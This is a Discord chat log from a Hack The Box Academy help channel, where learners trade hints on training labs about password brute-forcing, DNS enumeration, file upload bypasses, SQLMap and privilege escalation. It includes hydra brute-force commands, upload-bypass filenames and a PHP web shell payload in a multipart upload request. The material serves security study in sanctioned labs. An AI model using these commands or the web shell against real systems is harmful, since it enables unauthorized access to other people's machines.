@fathom pendant It's smart to direct people to the appropriate sections because people mute/hide sections they don't care about. It's nice that you're active and helping others. It takes 10 seconds to cut/paste a question to the appropriate section. Thanks for being a good community member and doing your best to communicate well.

dark carbon
#

Hello

dark carbon
#

Any professional hacker here?

next bronze
#

no

dark carbon
#

I wanna ask something

gilded fulcrum
#

So I'm on Password Attacks Lab - Hard. They provided the J***** user, but running the mut_pass.list created with provided resources through crackmapexec smb is so unfeasable. Am i missing something here because at the rate it is brute forcing the smb its going to take 18 hours plus.

dark carbon
#

I want to learn hacking but I don't have laptop

dim kettle
gilded fulcrum
#

my hydra does not work with smb for some reason

soft cedar
#

target a different service.

dark carbon
gilded fulcrum
#

just tried a different service with hyrda and estimation is 17 hours

soft cedar
#

what service is that?

gilded fulcrum
#

rdp

soft cedar
#

oh, it works but it takes a while.

#

hydra is generally faster than cme tho.

fringe urchin
gilded fulcrum
gilded fulcrum
#

is this correct?

#

The box is going to expire before it completes.

soft cedar
gilded fulcrum
#

extend it?

soft cedar
gilded fulcrum
#

yeah max 6 hours

soft cedar
gilded fulcrum
#

hydra states 18 hours

fringe urchin
next bronze
soft cedar
#

well hydra can only work with 4 parralel connections when it comes to rdp

#

the -t 64 wont do anythting, you just have to be patient

fringe urchin
#

Can we skip the password modul?. After seeing this i dont want to work on this module before coming back to my good pc. I dont want to crack that on my mac/pwnboxsusge

next bronze
next bronze
gilded fulcrum
#

well it just hit. strange why hyrda hit so fast and cme never got a hit after 2 hours of me running it

#

well i know why. as usuall it had something to do with sytax. had a capital J instead of lower case on cme.

fringe urchin
gilded fulcrum
#

honestly the password module is not bad

#

all of the mistakes i made are because of syntax mistakes on my part

#

each module is pretty sraight forward especially on the labs

fringe urchin
#

Ic

gilded fulcrum
#

just have to go back and litterally follow the steps HTB took in each module.

soft cedar
#

and he says cme has not gotten him anything.

gilded fulcrum
#

well i tried SMB but it only allows one connection at a time.

#

and for some reason i can't get Hydra to work with SMB

fringe urchin
gilded fulcrum
#

the hardest part in the labs though is going to be wroking with bitlocker and mounting the drive

soft cedar
gilded fulcrum
#

somone spoiled it in a forum i was in

next bronze
#

why would that be hard

gilded fulcrum
#

well hard is relative because i have never done it and if people are new to password attacks they will probably not have any experiance with it like me

next bronze
#

just use a windows vm for those

soft cedar
iron parcel
#

@dark carbon i guess we are in the same page, i wanna learn some cool hacking skills , rn now all i have is time to learn it.

soft cedar
#

you should really exhaust your options before checking stuffs like that.

gilded fulcrum
#

i agree

iron parcel
#

i did

grand portal
#

yes, we need to understand which task requires what to investigate. i've another query, we dont have all tools in this target's section. how are we supposed to perform DF investigation?

exotic lion
#

Guys Iโ€™ve been struggling with this task for over 24hrs itโ€™s the IDS/IPS module

There is a file named pipekatposhc2.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to WMI execution. Add yet another content keyword right after the msg part of the rule with sid 2024233 within the local.rules file so that an alert is triggered and enter the specified payload as your answer. Answer format: C____e

dim wolf
#

you have everything you need to complete the skills assessment

dim wolf
silk timber
#

http://./[#0](/guild/473760315293696010/channel/0/): ://./#0

#

Ahh it dosent work on mobile

crimson moon
#

Active subdomain enum module on information gathering web edition Iโ€™m not able to nslookup on inlanefreight.htb I have enlisted it with the target IP on etc/hosts what am I doing wrong?

south prairie
#

can i ask the ques ? i have the path of Laudanum aspx web shell located on Pwnbox but i submit it, it alert wrong

south prairie
#

oh, i miss it, thanks

fringe urchin
crimson moon
crimson moon
fringe urchin
soft cedar
#

^

crimson moon
fringe urchin
#

With that you tell nslookup to access inlanefreight.htb you need to go through the IP

#

Or else it will take i think 1.1.1.1 dns server, which inlanefriehgt.htb cant be acessed from

crimson moon
#

Ahh okay thanks gotcha

fringe urchin
grand portal
soft cedar
crimson moon
crimson moon
fringe urchin
soft cedar
fringe urchin
crimson moon
fringe urchin
#

So you want to look for zonetransfers in ns.inlanefreiht.htb? Then why do you use inlanefreight.htb?

crimson moon
#

No, Iam looking in inlanefreight.htb and using ns.inlanefreight.htb as itโ€™s nameserver to query to

agile token
crimson moon
fringe urchin
#

So if you want to search for zone transfers

#

Nslookup -type=any -query=axfr ns.inlanefreigjt.htb <IP>

#

Not all subdomains are zone transfarable

digital shale
#

can anyone help me with the module Password Attacks: Network and Services part 3? I have been running: hydra -L username.list -P password.list rdp://10.129.83.0 many times now, I can't find any legit usernames/passwords after a few hours

agile token
#

Looks like I also need to look back this topic in htb (it was confusing a little bit)

fringe urchin
#

I prefer dig over nslookupsadglas

crimson moon
agile token
#

And isnt it weird to use username.list as it may take a lot of time

digital shale
soft cedar
fringe urchin
# crimson moon So here the IP should be of target machine or the IP of ns.inlanefreight.htb?

inlanefreight.htb is the domain name you want to query.
10.129.40.151 is the IP address of the DNS server you're instructing nslookup to use to perform the query.

Example: i want to visit inlanefreight.htb but cant

But then i found a tunnel(target Ip) which leads me to the inlanefreight.htb
Same thing applies if you want to look for other subdomains

Since you already have acccess to inlanefreight.htb you have acccess to other subdomains in that module.
So for other subdomains you keep using the same tunnel(target IP which was given to you by the website)

Thazs just a rough example

fringe urchin
agile token
soft cedar
digital shale
soft cedar
#

No

#

bruteforcing rdp is slow.

fringe urchin
#

Nooo my 50โ‚ฌ steam gift

#

pepeSadge mods took it for themself

lavish mango
#

@dark carbon Step 1: Get a computer; Step 2: Learn to hack on Hack The Box Academy. It's up to you how you solve those steps but that's going to be the best recommendation. HTB Academy is a lightning track forward. Learning other ways honestly can waste years of your time.

#

Then grind.

#

And if your first impulse is to make excuses for why you can't get a computer or money for HTB Academy take it as your first introduction to applying the hacker mindset. You have a problem. It's up to you to find a solution to this. Ask your parents, school, job, whatever you need to do. Use your library's computer. If you have the will, you will find a way.

lavish mango
broken aurora
#

guys , i spawned the skill assessment for window priv esc module and i can't ping the ip for weeks

dim wolf
#

by default windows has ping turned off so you won't get a reply back

autumn pilot
#

Try to scan it instead

eager ledge
#

Hi, I have been doing the Shells and Payloads | Skills Assessment section. For Host-1 and Host-2 enumeration, the username and password is given as "hints". But I feel that those information should have been provided in the question section. Why are they on hints? Can we find the password by ourselves by bruteforcing? Also, isn't there another module for password cracking? Then, why are we asked to do that in this module? Doesn't that diminish the purpose of this module?

broken aurora
autumn pilot
#

use the -Pn argument in nmap when you are scanning

broken aurora
fringe urchin
robust quartz
#

||hello everyone, I want to ask about skill assessment II on active directory enumeration and attacks. why are the responder results on Linux hosts (foothold) and Windows different? On the Windows host, we can get new credentials, namely CT***. Why could that happen?||

next bronze
robust quartz
#

thank you for the answer!

limber river
#

can anyone confirm that sharing badges functionality in the academy is actually working ?

acoustic owl
#

Yes, it works perfectly for me

opaque forge
#

Argh I'm stuck at one question in the Windows Event Logs & Finding EVIL, question 3 at the skill assessment. Anyone here that could offer a hand? I identified the process that executed unmanaged powershell code in the question before, but I am at a loss of how to "determine the process that injected into the process that executed unmanaged PowerShell code. " Can anyone help me?

dim wolf
opaque forge
main coyote
#

I am stuck in Passwords Attack. Bruteforcing Sam user password with muted list. I have tried hydra with maximum threads and crackmapexec, it is very slow.

#

I have tried bruteforcing both ftp as well as ssh

marsh echo
soft cedar
marsh echo
narrow anchor
#

GM all! Working on the Responder module in the Starting Point and having some issues. Running kali, openvpn, and firefox on a VirtualBox VM and the NetNTLMv doesn't seem to be getting caught by Responder, despite the URL returning the same data as the Walkthrough. I'm guessing it's an issue with the OpenVPN tunnel from Kali VM through my Windows laptop?

marsh echo
#

I even did subbrute on this domain

next bronze
high adder
#

Hello, I'm stuck on the "FILE UPLOAD ATTACKS (Whitelist Filters)" module. I can't find the solution. I manage to upload the shell because I get a "File successfully uploaded" message, but I can't access it because I get a 404 error on the page. I tried the following:
||test.pHp%0a.jpg?cmd=id||
||test.pHp.jpg?cmd=id||
||test.pHp%0a.jpg?cmd=id||

fathom pendant
rustic sage
#

off topic, anyone know why i don't have permission to talk in general chat?

fathom pendant
#

Because you need to read and follow #welcome

rustic sage
crystal steeple
# high adder

judging from the error you getting, seems like you couldn't even access the uploaded file.

soft cedar
crystal steeple
high adder
soft cedar
jade pendant
#

Hey, I just started "windows command line module". Should I go through the 'CMD' sections or can I start directly with powershell sections?

soft cedar
soft cedar
#

when it works you know that ext. can execute code

crystal steeple
# high adder Yet it was indeed uploaded correctly.

since it's blacklisted and whitelisted, you can just fuzz for allowed extensions as they display different error : "Only Images Allowed" and then bypass the whitelist filter as shown in the section with every allowed extension till you find the executable one

soft cedar
#

plus those 00% ext dont work, look through them. the ext..ext ones work

slate halo
#

Hello, I need help with the Web Server Pivoting with Rpivot I cannot set up server. py. Im using the Pawnbox. Im getting error with python2.7 and changed to python3 but every time I run the python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 Im getting some kind of error i need to install a module which i install everytime then there is an error with the config.py file aftwerwards is the hook.py etc.

marsh echo
high adder
high adder
marsh echo
mint lodge
#

@acoustic owl Sorry for tagging i would love a hint of how much i should detail in the cupp tool if you remember (If it is wrong to tag you please tell me๐Ÿ™ )

high adder
#

@soft cedar @crystal steeple I had found the solution from the start... except that the file needed to be ||URL encoded|| to be accessible in the browser..
The %20 in the file equals ||%2520|| in a URL.. So with that, it works: ||shell.phtml%2520.jpg?cmd=id||
Ty for your help ๐Ÿซถ

acoustic owl
mint lodge
#

Thats what I'm doing after filtering I'm getting around 2300 passwords

#

I waited for hydra to try them all and nothing

#

I tried with capital letter and without

#

even tried adding the birthday

#

๐Ÿ˜ฆ

acoustic owl
mint lodge
#

I'm at the skill assessment trying to brute force the ssh

#

does it matter if i start the name with a capital letter like so "Harry" or not?

acoustic owl
limber river
acoustic owl
mint lodge
#

Hmm so you didnt filter with sed -ri

#

Cool thanks

signal laurel
#

Can I get a hint on HTTP Attacks --> HTTP Response Splitting?

mint lodge
#

You taking the cwee path?

signal laurel
#

yes

mint lodge
#

Cool gl

acoustic owl
rustic sage
#

I can't send any picture idk why

acoustic owl
signal laurel
# acoustic owl Did you read the hint?

I see the hint. Just working on trying to get the initial xss. Trying to get a work around for the additional header that the target shows that the example doesnt

acoustic owl
mint lodge
#

Idk why i thought the username is harry because when i tried to ssh with that username it gave me a password attempt but that was not the case

#

I'm so dumbsadglas

rustic sage
#

now I'm in the using web proxy model-automatic modification, I practiced many time about the challenges above it so it is about how to set specific settings to modify anything automatically. Now I'm in the exercise that says Exercise 2: Try adding a rule that automatically adds ;ls; when we click on Ping, by matching and replace the request body of the Ping request. I exactly I don't know what should I put in Burb suite settings (shown in this message) should I write the the instructions like that by HTML format or like headers format

next bronze
#

intercept the outgoing request and check where to inject the command

rustic sage
#

Colleagues, good afternoon, I have a query in relation to this question, please list the server carefully and look for the flag.txt file. Please submit the contents of this file in response. What I understand is that I have to change the permission, that's what I have in mind

fathom pendant
rustic sage
#

module Footprinting Skills Assessment Footprinting easy lab

fathom pendant
#

scan; check what you can see

#

you don't generally need to change permission unless you get an id_rsa file

sly gulch
#

ุงู„ุณู„ุงู… ุนู„ูŠูƒู…

sly gulch
#

ุนุฑุจูŠ

fathom pendant
sly gulch
#

ู…ุชุฃูƒุฏ

rustic sage
#

Dude is trolling

lilac vault
#

Hey

mint lodge
#

Do we tag RULE BREAK?

rustic sage
#

@sly gulch๐Ÿ‡บ๐Ÿ‡ธ Only

lilac vault
#

H4Z3COR3

rustic sage
#

Hello

rustic sage
#

Someone who can tell me how to do it

fathom pendant
#

take it one step at a time; scan and enumerate

rustic sage
#

I think I need to add the private key to the attacking machine in order to gain access

fathom pendant
#

nope

#

look at the open ports and see what different protocols they map to

rustic sage
#

I have listed with autorecon as such and well I have the information I want now I must perform the construction of the command

fringe urchin
#

Where exactly are you stuck?

fathom pendant
#

good 'ole nmap will get you the initial info needed

rustic sage
#

Permission denied (publickey)

fathom pendant
#

you can find that using given info from the overview

#

reading the overview will give you a user's credentials with which you can log into one of the open services with

#

(where you can get the id_rsa file)

signal laurel
crystal steeple
#

hello , i have a dumb question, in most sections in windows privesc module, we escalate privesc to system admin privilege , what is the difference between local admin in that machine and system admin privilege?

rustic sage
#

trinity??

crystal steeple
rustic sage
#

@fathom pendant trinity??

fathom pendant
#

read the text carefully

next bronze
fathom pendant
#

there's a username:password

fringe urchin
rustic sage
#

It's a password credential that I found in a hash that has been decrypted in the previous questions

half stag
#

hey could someone help me with attacking common services?

rustic sage
#

@fringe urchin yes

fringe urchin
fringe urchin
half stag
crystal steeple
#

i don;t understand exactly the difference besides admin has an account and system doesn;t

next bronze
#

because they're two different accounts

crystal steeple
next bronze
#

administrator is a standard local user account, system is a system account which is not controlled by a user

fringe urchin
#

Example: local admin: the hamster living in my house
System admin: me

crystal steeple
#

so ppl can configure their system account password to be different than the standard local admin user acount?

next bronze
#

no, you can't login as system, it doesn't have a password

rustic sage
#

@fringe urchin I thinked

fathom pendant
crystal steeple
fathom pendant
rustic sage
#

Perfect, again, I'll read it because I don't want to be guided because the idea is to solve it on my own, anyway I'll read the guide again

fathom pendant
#

there's no major digging again

brazen saffron
fathom pendant
# fathom pendant

it literally, and explicitly, tells you in the easy assessment that there's a username:password that your colleagues found @rustic sage

next bronze
fathom pendant
#

the fact that they made this part EASIER and people still struggle lmao

crystal steeple
fathom pendant
crystal steeple
fringe urchin
#

Used to? Damn wtf. And they didnt covered bruteforcing till a few modules laterPepereally

fathom pendant
fringe urchin
fathom pendant
#

it's equivalent to getting root

limber river
fathom pendant
next bronze
crystal steeple
# limber river I don't understand

i dont't remember which section in the windows privesc, maybe in the intro, that when gettin a rev shell for example, and after escalating to system level we would only get then the foothold

fathom pendant
crystal steeple
#

i understand now the purpose of escalating to system

half stag
fathom pendant
#

sometimes it takes a few tries to get that port to show

next bronze
half stag
fathom pendant
#

some people have needed to reset it like 8 times

#

also give it a few minutes after you reset it

half stag
#

lol

#

i would try

limber river
limber river
limber river
fathom pendant
#

even nmap tells you not to use -T5

crystal steeple
#

anyways thank you guys for the explanation !

soft cedar
fathom pendant
#

if you can be system: why not be system

next bronze
orchid tartan
#

guys i keep have transaction declined

#

it's the first time that it happen to me in htb academy

fathom pendant
#

nothing we can be done for you on the discord side brother

orchid tartan
#

they told me it the problem of the bank

fathom pendant
#

then message your bank

orchid tartan
#

i contacted the bank they told me

#

its the website

fathom pendant
#

literally nothing can be done for you on discord

orchid tartan
#

i want just to know if someone had this problem before

fathom pendant
#

go back to support; tell them that your bank told you it was an issue on their end

#

i've heard there were some issues with some indian banks due to policy changes

orchid tartan
fathom pendant
#

then you need to work with both the bank and htb to get it resolved

#

ยฏ_(ใƒ„)_/ยฏ

#

literally no advice we can really give you except keep contacting them

orchid tartan
#

thanks

ocean night
# orchid tartan thanks

All that support will be able to tell you is that the issuer marked the transactions as fraudulent, sorry. You'll need to use an alternative payment method

shrewd hazel
#

SQLMap Essentials "What's the contents of table flag10? (Case #10)" i dont want to put the command im using here bc spoilers, but im a bit lost. i know i need to intercept something request wise to see whats blocking sqlmap but im not seeing how to do it in burp suite or sqlmap. any ideas?

echo forge
astral inlet
#

2 to go ๐Ÿ™‚

fathom pendant
#

Nice

limber river
astral inlet
#

yes it is

#

but it was long

shrewd hazel
#

okay i got the flag10 sqlmap essentials but i dont know how/why? ........ just used the post method and random-agent

#

but i got the flag, dont know why random agent got the flag. just bypassed whatever was blocking it? how could i have seen what was blocking it in the first place?

cloud urchin
#

probably trial and error manually

unborn pilot
#

Hi im at ADVANCED SQL INJECTIONS skill assessement i found the sqlinjection and tried to brute force the reset password functionnality to set admin user password ? that the generate key is not valid. I tried to brute force the "salt" but no luck. Im I on the right track or did i miss something ?

buoyant void
#

Question for those who have done the Windows Privesc module: any time I try any of the service based privilege escalation attacks (i.e., replacing a service file with a malicious binary), I can get a shell but it either dies when the service errors out on the target or if I use a Meterpreter session I can get a shell but after the service errors out the meterpreter session is not responsive I just get errors saying the command send has timed out. So I'm wondering if I'm doing something wrong or that just expected considering the service will always error out, but if that's the case I'm struggling to see how this would be useful if you only have approximately 30 seconds before you lose your privileged shell

gray merlin
buoyant void
wanton idol
solar grove
#

Hello, I'm stuck on the last question about IPMI in the FOOTPRINTING module. The hash value of the target system is always different, probably applying a salt, but I can't figure out the logic. How do I solve this hash value.

wooden perch
#

Look for 3rd party tools to find that pwd

clear bison
#

Hey, I am stuck on the last question in HTB Academy DNS Footprinting: " What is the FQDN of the host where the last octet ends with โ€œx.x.x.203โ€?
I suspect it is something I am doing wrong with the dig command or the dnsenum command. I read through all the other posts about this question on the htb forum and I understand that I have to use dig to query about the subdomains revealed with my first dig axfr command. However, when I try to interact with any of the subdomains using the dig command, I always get a โ€œhost unreachableโ€ or a โ€œtimed outโ€ error.
For example, here is the dig soa command I tried using with mail1.inlanefreight.htb:

dig soa mail1.inlanefreight.htb @10.129.18.201
;; communications error to 10.129.18.201#53: timed out

Can anyone help me out with this?

solar grove
#

@wooden perch You give the same answer to every question, shut up if you have no idea

wooden perch
#

Trying to help

solar grove
#

You may have finished but you're writing the same thing?

wooden perch
#

You will know if you follow the tip

solar grove
#

@wooden perch There are no clues please don't answer me I don't want to argue anymore

wooden perch
#

If you check the previous messages about this question you will have the answer

crimson moon
loud dagger
#

is it worth spending the time on the macos fundamentals module? itโ€™s not on the infosec fundamentals path or the cpts path

#

(i fucking hate macos)

ocean night
wanton idol
#

@solar grove u still need help??

#

if u still need help look into hashcat and look for a mode that will work for IPMI if you still need help lmk ๐Ÿ˜‰

loud dagger
#

never mind

#

so that's why it's not in the infosec fundamentals path

unborn pilot
#

time to spend 2k to completion !

loud dagger
#

oh wait my school has macs lmao i'll just use one of them

#

actually i'll probably need elevated privileges for that which i definitely will not have on school macs

unborn pilot
#

If someone has done ADVANCED SQL INJECTIONS I need some help to get the login. mp so i can share pretty much what i have done

tame basin
#

Bro what happened to dread website

wanton idol
#

im doing the normal sql injuction module xD

ocean night
#

And tell them to buy a University bundle at HTB!

#

๐Ÿ’ฐ

#

๐Ÿ˜†

#

But seriously, speak to them. They might be quite understanding

wanton idol
#

bros tryna secure a bag for himself and the company

unborn pilot
wanton idol
#

๐Ÿ˜‚

loud dagger
#

absolutely no chance my school would let me do it

ocean night
#

๐Ÿ˜ฆ

loud dagger
#

lmao

#

i would download a mac vm but you need a mac to download a mac os iso ๐Ÿ‘บ

wanton idol
#

macs doodoo

loud dagger
#

oh there's literally no mac os boxes on htb

#

does any pentesting exam involve mac vms?

wanton idol
#

yup no htb boxes on macs not even possible to begin with since they are not open source

loud dagger
#

wow alright then

#

guess that's not something i'll probably ever need to worry about

wanton idol
#

facts

loud dagger
#

so no one does (remote) pentesting on mac or what

#

do i just not need to know mac os exploits

#

wow yeah there's no mac os privesc module either

loud dagger
#

tough

wanton idol
#

yeah dont worry about macs

#

majority of ppl use windows

loud dagger
#

interesting

wanton idol
#

yeah and linux as well

#

its just not used as much compared to windows and linux

loud dagger
#

that makes sense i guess

#

well that's a load off of my shoulders because i can't stand mac os

ocean night
#

I outright refuse to use a Mac any more ๐Ÿ˜†

wanton idol
#

my last job everyone uses mac ๐Ÿ’€ so i had too aswell and it was my first time ever using mac

#

finna be my last time too ๐Ÿ˜‚

ocean night
#

Yup same, I hated it

#

Eventually convinced them to let me use my own device, and then left a few months later to work at HTB full time partyparrot

loud dagger
#

real

sleek moss
#

can someone give advice for file upload lab? i found the webstie ||./user_feedback_submissions/ ||but i cant find my file!

cloud urchin
sleek moss
#

i checked php file its def in that directory

cloud urchin
#

i would take a closer look at the upload page

sleek moss
#

ok danke

sleek moss
#

it uploaded the thing successuflly

ocean night
sleek moss
#

ok sorry

#

i found c||ontact/user_feedback_submissions/240408_sc.png||

#

i uploaded nomral png file sc.png but it dont work i cant find why

unborn pilot
sleek moss
#

file upload attack lab

unborn pilot
#

which section pleas ?

sleek moss
#

last lab

#

bruh i found out why the day was a day extra... it wasnt my day..

runic depot
#

not loading for my friend either

sleek moss
#

||
-----------------------------278366224330276505932534811969
Content-Disposition: form-data; name="uploadFile"; filename="ssc.pht.jpg"
Content-Type: image/jpeg

รฟร˜รฟ
<?php system($_REQUEST['cmd']); ?>
-----------------------------278366224330276505932534811969--|| file upload lab i found everything but my payload wont work Only images are allowed ive tried with svg magic bytes and it dont work im not sure what i can do!

#

ive tried all the jpg magic bytes asci and the png bytes asci

wanton idol
#

sorry bro wish i can help but havent done it

cloud urchin
#

Have you tried any other file types?

wanton idol
sleek moss
#

yes i tried all the image magic bytes not work

#

and thanks

cloud urchin
#

i would recommend taking a look at this page here, there could be more than one magic byte per extension: https://en.wikipedia.org/wiki/List_of_file_signatures

This is a list of file signatures, data used to identify or verify the content of a file. Such signatures are also known as magic numbers or Magic Bytes.
Many file formats are not intended to be read as text. If such a file is accidentally viewed as a text file, its contents will be unintelligible. However, some file signatures can be recognizab...

sleek moss
#

I did I tired all the image files accepted magic bytes in asci no work

cloud urchin
#

you tried every file type with every combination of magic bytes?

unborn pilot
#

@sleek moss i found the solution if you want

timid spruce
unborn pilot
ocean night
#

Try to nudge instead of just pasting the solution if you can

lavish mango
autumn pilot
#

From which section/module is that?

ocean night
#

Please avoid posting screenshots including potential spoilers ๐Ÿ™‚

autumn pilot
#

It was not a spoiler

#

GlowGamer, if you are going to use the hash for authentication do not forget to use the appropriate argument/parameter in xfreerdp related to hashes and not to confuse it with a password

ocean night
#

It included a user / pass on the command though.. am I missing something?

autumn pilot
#

Those were provided by the exercise

ocean night
#

okiedokie, then apologies

autumn pilot
#

First, your argument is incorrect, second you must consider the registry value/path that is mentioned in the section

sleek moss
#

Yes please give solution

unborn pilot
# sleek moss Plz

Look at your DM i sent you what you should look for, If you put it together you will get it easy

sleek moss
#

I c ok thank u

frail sorrel
#

contradiction????

brazen saffron
brazen saffron
cloud urchin
#

yeah i had the same issue, i found another tool on github pretty much identical to it that actually worked

brazen saffron
#

Which one :>?

cloud urchin
brazen saffron
cloud urchin
#

idk what thats all about

#

looks like you need to update some stuff

brazen saffron
#

Thanks for your help, I found the flag :).

cloud urchin
#

nice

sterile epoch
#

any idea why this is failing?

fringe sand
#

did you add it to your /etc/hosts file?

sterile epoch
#

yep

fringe sand
#

Weird

#

I didn't have issues with that module

sterile epoch
#

its only with this section

#

I have tried resetting multiple times